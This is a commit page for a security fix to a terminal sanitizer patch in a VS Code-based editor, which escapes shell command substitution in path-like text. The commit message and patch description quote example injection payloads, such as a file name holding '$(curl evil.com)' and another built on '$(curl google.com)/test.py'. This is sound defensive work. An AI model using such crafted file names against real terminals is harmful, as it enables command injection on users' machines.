Skip to content

Commit be3dbcf

Browse files
fix(security): Handle multi-token command substitution in sendText sanitizer (#207)
The previous fix only escaped $() within single whitespace-delimited tokens. Payloads like $(curl google.com)/test.py span two tokens so the $( was never escaped. Fix by matching $(...), ${...}, and backticks as complete constructs (including internal spaces) when immediately followed by /. Also removes fragile single-quote context detection that was bypassable via apostrophes in preceding text. Co-authored-by: Sri Aakash Mandavilli <srmanda@amazon.com>
1 parent 66f0554 commit be3dbcf

1 file changed

Lines changed: 17 additions & 34 deletions

File tree

patches/sagemaker/sanitize-terminal-sendtext-paths.diff

Lines changed: 17 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -2,20 +2,15 @@ Sanitize command substitution in path-like segments of terminal sendText
22

33
File/folder names containing shell metacharacters (e.g., $(curl evil.com)
44
or `cmd`) can trigger command injection when extensions send commands via
5-
terminal.sendText(). This patch escapes $() and backtick command
6-
substitution patterns inside path-like tokens (both double-quoted and
7-
unquoted) before the text is written to the terminal process.
8-
9-
Single-quoted paths are left alone since the shell does not interpret
10-
special characters inside single quotes. Non-path tokens like $HOME in
11-
"echo $HOME" are also left untouched to preserve intentional variable
12-
usage.
5+
terminal.sendText(). This patch escapes $(), ${}, and backtick command
6+
substitution patterns when followed by / (path context) before the text
7+
is written to the terminal process.
138

149
Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts
1510
===================================================================
1611
--- a/src/vs/platform/terminal/common/terminalEnvironment.ts
1712
+++ b/src/vs/platform/terminal/common/terminalEnvironment.ts
18-
@@ -68,3 +68,46 @@ export function sanitizeCwd(cwd: string)
13+
@@ -126,3 +126,34 @@ export function sanitizeCwd(cwd: string)
1914
export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean {
2015
return !slc.strictEnv;
2116
}
@@ -24,40 +19,28 @@ Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts
2419
+ * Sanitize shell command substitution patterns in path-like segments
2520
+ * of terminal commands to prevent injection via malicious folder/file names.
2621
+ *
27-
+ * Targets: $(...), ${...}, and `...` inside path-like tokens.
28-
+ * A path-like token starts with /, ~/, ./, ../ or is a quoted string containing /.
22+
+ * Targets: $(...), ${...}, and `...` when followed by / (path context).
2923
+ */
3024
+export function sanitizeCdPathsInCommand(text: string): string {
31-
+ // Strip newlines and null bytes to prevent command injection via line splitting
25+
+ // Strip newlines and null bytes to prevent line-splitting injection
3226
+ let result = text.replace(/[\r\n\x00]/g, ' ');
3327
+
34-
+ // Handle double-quoted path segments: "...path..."
35-
+ // Only escape command substitution patterns $( and ` and ${ — NOT bare $VAR
28+
+ // Escape $(...), ${...}, `...` when immediately followed by / (path context)
29+
+ result = result.replace(/(?<!\\)\$\(([^)]*(?:\([^)]*\)[^)]*)*)\)\//g, '\\$($1)/');
30+
+ result = result.replace(/(?<!\\)\$\{([^}]*)\}\//g, '\\${$1}/');
31+
+ result = result.replace(/(?<!\\)`([^`]*)`\//g, '\\`$1\\`/');
32+
+
33+
+ // Escape substitution patterns inside double-quoted strings containing /
3634
+ result = result.replace(
3735
+ /"((?:[^"\\]|\\.)*\/(?:[^"\\]|\\.)*)"/g,
38-
+ (_match: string, inner: string) => {
39-
+ const sanitized = inner
40-
+ .replace(/(?<!\\)\$\(/g, '\\$(')
41-
+ .replace(/(?<!\\)\$\{/g, '\\${')
42-
+ .replace(/(?<!\\)`/g, '\\`');
43-
+ return `"${sanitized}"`;
44-
+ }
36+
+ (_match: string, inner: string) => '"' + inner.replace(/(?<!\\)\$\(/g, '\\$(').replace(/(?<!\\)\$\{/g, '\\${').replace(/(?<!\\)`/g, '\\`') + '"'
4537
+ );
4638
+
47-
+ // Handle unquoted path-like segments (any token containing /)
48-
+ // This catches absolute, relative, and bare paths like foo/$(evil)/bar
39+
+ // Escape residual patterns in unquoted path-like tokens (whitespace-delimited, contains /)
4940
+ result = result.replace(
5041
+ /(?<=[\s;|&<>]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm,
51-
+ (pathToken: string) => {
52-
+ // Skip already-quoted paths — handled above or safe (single quotes)
53-
+ if (pathToken.startsWith("'") || pathToken.startsWith('"')) {
54-
+ return pathToken;
55-
+ }
56-
+ return pathToken
57-
+ .replace(/(?<!\\)\$\(/g, '\\$(')
58-
+ .replace(/(?<!\\)\$\{/g, '\\${')
59-
+ .replace(/(?<!\\)`/g, '\\`');
60-
+ }
42+
+ (token: string) => token.startsWith("'") || token.startsWith('"') ? token :
43+
+ token.replace(/(?<!\\)\$\(/g, '\\$(').replace(/(?<!\\)\$\{/g, '\\${').replace(/(?<!\\)`/g, '\\`')
6144
+ );
6245
+
6346
+ return result;
@@ -74,7 +57,7 @@ Index: b/src/vs/workbench/contrib/terminal/browser/terminalInstance.ts
7457
import { editorBackground } from '../../../../platform/theme/common/colorRegistry.js';
7558
import { getIconRegistry } from '../../../../platform/theme/common/iconRegistry.js';
7659
import { IColorTheme, IThemeService } from '../../../../platform/theme/common/themeService.js';
77-
@@ -1294,6 +1295,9 @@ export class TerminalInstance extends Di
60+
@@ -1341,6 +1342,9 @@
7861
}
7962

8063
async sendText(text: string, shouldExecute: boolean, bracketedPasteMode?: boolean): Promise<void> {

0 commit comments

Comments
 (0)